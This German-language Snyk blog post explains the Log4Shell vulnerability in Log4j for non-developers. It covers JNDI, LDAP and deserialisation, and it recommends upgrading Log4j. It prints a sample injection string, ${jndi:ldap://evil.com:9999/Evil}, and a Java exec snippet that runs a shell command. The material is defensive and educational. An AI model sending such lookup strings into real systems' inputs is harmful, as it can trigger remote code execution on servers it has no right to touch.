Log4Shell kurz erklärt (für Nicht-Entwickler und Nicht-Java-Entwickler)

Artikel von

15. Dezember 2021

0 Min. Lesezeit

Hinweis der Redaktion (28. Dez. 2021, 19:35 Uhr GMT): Das Log4j-Team hat ein neues Sicherheitsupdate veröffentlicht. Dabei wurde festgestellt, dass Version 2.17.0 für die Ausführung von Remote-Code anfällig ist (CVE-2021-44832). Wir empfehlen, auf die neueste Version zu aktualisieren, derzeit 2.17.1.

Hinweis der Redaktion (18. Dez. 2021, 18:55 Uhr GMT): Die Lage rund um Log4j verändert sich rasant. Wir aktualisieren unsere Blogbeiträge, sobald neue Informationen vorliegen. Es wird empfohlen, auf Version 2.17.1 oder höher zu aktualisieren. Diese Version enthält Sicherheitskorrekturen für zwei Sicherheitslücken zur Ausführung von Remote-Code, die in 2.15.0 (CVE-2021-44228) und 2.16.0 (CVE-2021-45046) behoben wurden, sowie für die neueste DoS-Sicherheitslücke, die in 2.17.1 behoben wurde (CVE-2021-45105). Weitere Informationen hier.

Wenn Sie in der Tech-Branche arbeiten, haben Sie wahrscheinlich schon vom Log4Shell-Exploit gehört, der sich im Internet rasant verbreitet. Wenn Sie kein Java-Entwickler sind (oder überhaupt Entwickler), fragen Sie sich vielleicht, worum es dabei eigentlich geht.

Dieser Beitrag ist in zwei Teile gegliedert: eine Erklärung von Log4Shell für Nicht-Entwickler und einen Überblick über die Log4Shell-Sicherheitslücke für Nicht-Java-Entwickler.

Log4Shell für Nicht-Entwickler im Überblick

Wenn Sie eine Website in Ihrem Browser aufrufen, sehen Sie dort Bilder. Vielleicht wissen Sie aber nicht, dass Ihr Browser zwei Schritte ausführt, um ein Bild anzuzeigen. Zuerst ruft er die HTML-Seite ab, zum Beispiel: https://snyk.io. Auf dieser HTML-Seite finden sich Verweise auf Bilder, zum Beispiel:

1<img 
2    src="https://snyk.io/wp-content/themes/snyk_v2_etyhadar/dist/images/snyk-logo-patch-new.svg" 
3    alt="Snyk|Open Source Security Platform" 
4    class="home__logo"
5>

Anschließend sendet der Browser eine neue Anfrage, um das Bild abzurufen.

Die Browser-Entwicklertools heben die Bildquelle des Snyk-Website-Logos in einer HTML-Antwort hervor. Die Überschrift der Seite lautet: „Schnell entwickeln. Sicher bleiben.“

Was hat das mit dem Log4Shell-Exploit zu tun?

Log4j ist eine weit verbreitete Java-Bibliothek, mit der Informationen in Protokolldateien geschrieben werden. Dabei handelt es sich üblicherweise um Angaben zum Zeitpunkt bestimmter Ereignisse oder um Fehlermeldungen, wenn etwas schiefläuft.

Eine andere Java-Technologie kann auf entfernte URLs verweisen – ähnlich wie Ihr Browser Bild-URLs abrufen kann. Log4j lässt sich dazu bringen, ein Element von einer entfernten URL abzurufen. Dabei handelt es sich jedoch nicht um ein Bild, sondern um ein weiteres Stück kompilierten Java-Codes.

Dieser kompilierte Java-Code kann allerlei Schaden anrichten, unter anderem andere Programme auf dem Zielcomputer ausführen. Dabei handelt es sich um eine Sicherheitslücke zur Ausführung von Remote-Code (RCE) und um den schwerwiegendsten Typ von Sicherheitslücke.

Lesen Sie gern weiter, wenn Sie sich für die Funktionsweise des Log4Shell-Exploits interessieren. Oder springen Sie nach unten zu den Ressourcen, mit denen Sie Log4Shell erkennen und beheben können.

Log4Shell im Detail – für Entwickler

Sehen wir uns den internen Java-Mechanismus an, der diesen Exploit so schwerwiegend macht. Wir tauchen hier tief ins Detail ein. Wenn Sie möchten, können Sie direkt zu den Informationen darüber springen, wie Sie Ihr Unternehmen beim Umgang mit Log4Shell unterstützen können.

Die Grundlagen von Log4Shell gibt es schon mindestens seit 2016! Hier finden Sie einen Vortrag auf einer Black-Hat-Konferenz zum Thema Remote-Code-Ausführung in Java. Bemerkenswert ist, dass in diesem Vortrag bereits zwei der drei Bestandteile von Log4Shell beschrieben werden. Im nächsten Abschnitt sehen wir uns diese Komponenten und ihr Zusammenspiel genauer an.

Die Bausteine von Log4Shell

Ich hatte Ihnen ja gesagt, dass wir in diesem Abschnitt tief ins Detail gehen!

Vieles, was Java so leistungsfähig (und für Einsteiger manchmal verwirrend) macht, sind „Abstraktionsebenen“. Entwickler können zum Beispiel Code schreiben, der mit einer Datenbank kommuniziert, ohne an den Datenbankserver eines bestimmten Anbieters gebunden zu sein. Für lokale Tests kann ich also MySQL verwenden, während mein Unternehmen in der Produktionsumgebung PostgreSQL einsetzt. Dank der Datenbankabstraktionsebene muss ich dafür keine einzige Codezeile ändern.

Das „Branchenverzeichnis“ von Java: JNDI

Die Java Naming and Directory Interface (JNDI) ist eine Abstraktionsebene, über die Java-Code mit verschiedensten Arten von Verzeichnissen interagieren kann. Der Domain Name Service (DNS) ist beispielsweise eine Art Verzeichnis, in dem Domainnamen nachgeschlagen werden können. Das Lightweight Directory Access Protocol (LDAP) wird von Verzeichnisservern verwendet, um Informationen zu Organisationen, Personen und anderen Ressourcen wie Geräten in einem Netzwerk bereitzustellen. (Microsoft Active Directory basiert darauf.)

LDAP speichert nicht nur Text

LDAP kann neben Textinformationen auch serialisierte Java-Objekte speichern.

Serialisierte Java-Objekte sind leistungsstarke (und potenziell gefährliche) Darstellungen von Java-Code. Vereinfacht gesagt handelt es sich um eingefrorenen Code, der gespeichert und später wieder aufgetaut werden kann. Dafür gibt es viele legitime Anwendungsfälle, aber hier ist diese Funktion Teil des Mechanismus, der Log4Shell ermöglicht. Behalten Sie das erst einmal im Hinterkopf. Gleich wird alles zusammengeführt.

Wie JNDI, LDAP und Log4J gemeinsam Probleme verursachen

Bis vor Kurzem erlaubte Log4J JNDI-Verweise, die es dann automatisch im Auftrag der Anwendung auflöste. Ob es für einen solchen Mechanismus legitime Anwendungsfälle gibt oder nicht: In der neuesten Version von Log4J (2.16.0 zum Zeitpunkt dieser Veröffentlichung) wurde diese Funktion vollständig entfernt. Das bedeutet: Wenn Sie Ihre Log4J-Version auf 2.16.0 aktualisieren, sind Sie vor dem Log4Shell-Exploit geschützt.

Wie funktioniert das Zusammenspiel? Stellen Sie sich eine Protokollmeldung wie diese vor:

1logger.error("Output:" + "${jndi:ldap://evil.com:9999/Evil}");

Keine Sorge, wenn Ihnen dieser Code nicht bekannt vorkommt. Hier sind die wichtigen Bestandteile:

Ältere Versionen von Log4J nahmen die Zeichenfolge ${jndi:ldap://evil.com:9999/Evil} und interpretierten sie als JNDI-LDAP-Verweis – in diesem Fall auf einen bösartigen Server.
Der JNDI-Stack von Java sendet eine LDAP-Anfrage an evil.com und sucht nach /Evil.
Der LDAP-Server von Evil.com erstellt eine Antwort, die einen Remote-Verweis auf ein serialisiertes Java-Objekt enthält. Zum Beispiel: http://evil.com:8000/Evil.class
Dadurch wird eine weitere Anfrage an den HTTP-Server von evil.com ausgelöst – ähnlich wie Ihr Browser ein Bild abruft. Evil.class wird als binäre Nutzlast abgerufen und anschließend durch Deserialisierung in ein Java-Objekt umgewandelt.
Anschließend wird das wiederhergestellte Java-Objekt ausgeführt. An diesem Punkt kann beliebiger Code auf dem ahnungslosen Computer ausgeführt werden.

Um den letzten Punkt zu verdeutlichen, sehen Sie sich diesen Beispielcode an:

1String[] cmd = {
2"/bin/sh",
3"-c",
4"echo PWNED > /tmp/pwned"
5};
6Runtime.getRuntime().exec(cmd);

Auch hier gilt: Keine Sorge, wenn Ihnen der Code unbekannt ist. Wichtig ist, dass der exec-Aufruf in Java einen Befehl _außerhalb_von Java ausführt. In diesem Fall schreibt er eine Datei in ein temporäres Verzeichnis. Es könnte sich aber auch um einen Befehl handeln, der die gesamte Festplatte löscht. Oder um einen Befehl, der eine sensible Datei an einen anderen bösartigen Endpunkt sendet.

Was wäre eine Erklärung ohne ein schlecht gezeichnetes Diagramm? Hier ist Log4Shell kurz zusammengefasst:

Diagramm zur Erklärung von Log4Shell: Ein verwundbarer Log4J-Logger in MyApp sendet eine JNDI-LDAP-Anfrage an evil.com und ruft Evil.class ab, das anschließend deserialisiert wird.

Auch wenn Sie nicht vollständig verstehen, was hier vor sich geht, erkennen Sie doch, dass diese harmlos wirkende Protokollmeldung eine ganze Menge Netzwerkaktivität auslöst!

Mit Log4Shell vom Anfänger zum Experten

Eine einfache Möglichkeit, Ihre Systeme zu schützen, ist ein Scan mit Snyk. Snyk kann Log4Shell finden und automatisch Pull Requests mit Korrekturen erstellen. Wenn die Überwachungsfunktion aktiviert ist, benachrichtigt Snyk Sie außerdem, sobald Ihre Abhängigkeiten (und deren Abhängigkeiten) aktualisiert wurden und sicher verwendet werden können. Erstellen Sie noch heute ein kostenloses Snyk-Konto.

Außerdem haben wir eine Liste hilfreicher Ressourcen zusammengestellt, die Ihrem Unternehmen beim Umgang mit dem Log4Shell-Exploit helfen.

Möchten Sie noch mehr über Log4Shell erfahren? Diese Ressourcen helfen weiter: